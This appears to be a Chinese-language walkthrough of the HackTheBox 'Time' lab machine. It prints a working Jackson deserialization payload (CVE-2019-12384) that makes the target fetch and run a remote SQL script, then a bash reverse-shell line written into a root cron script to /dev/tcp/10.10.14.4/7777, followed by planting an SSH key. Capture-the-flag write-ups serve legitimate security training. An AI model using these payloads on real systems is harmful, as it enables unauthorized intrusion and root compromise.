Time - HackTheBox
Td

image

nmap扫描

image

image

image

访问80端口

image

可以选择两个模式

image

输入数字的话就会输出同样的数字

image

输入英文就会输出null

image

第二个模式直接报错了

image

image

报错爆出了java的包信息,搜一下

image

有个exp,貌似是个Jackson的反序列化

https://github.com/jas502n/CVE-2019-12384

image

将项目clone下来

1
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"

使用这个语句调用exp,先在本地试验一下,用python开启一个http服务

image

image

会请求本地的inject.sql文件,之后便会执行文件内容

image

在本地生成了一个txt文件,内部包含执行结果,修改inject.sql文件,反弹shell

image

在80端口的输入框中执行语句

1
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'\"}]"

image

第一个模式貌似不起作用

image

换第二个

image

第二个也不行,还是报错,修改一下exp语句,将jruby test.rb和\都去掉

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'"}]

image

image

提权

image

发现一个当前用户所有的sh脚本文件

image

这个脚本会将/var/www/html目录下的所有文件进行压缩,并将压缩包移动到/root目录下,感觉这像是一个定时执行的文件,用pspy64看一下

image

确实是定时执行,而且是root用户权限

image

而且当前用户对这个脚本文件是有可读写权限的,加一个反弹shell进去

echo "zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip && bash -c 'bash -i >& /dev/tcp/10.10.14.4/7777 0>&1'" > /usr/bin/timer_backup.sh

image

当该文件被执行时,会反弹个shell回来

image

反弹是反弹回来了,但是这个会话貌似会在几秒钟以内自动断开,趁着这几秒写一个密钥进去

image

image

用密钥登录root用户

image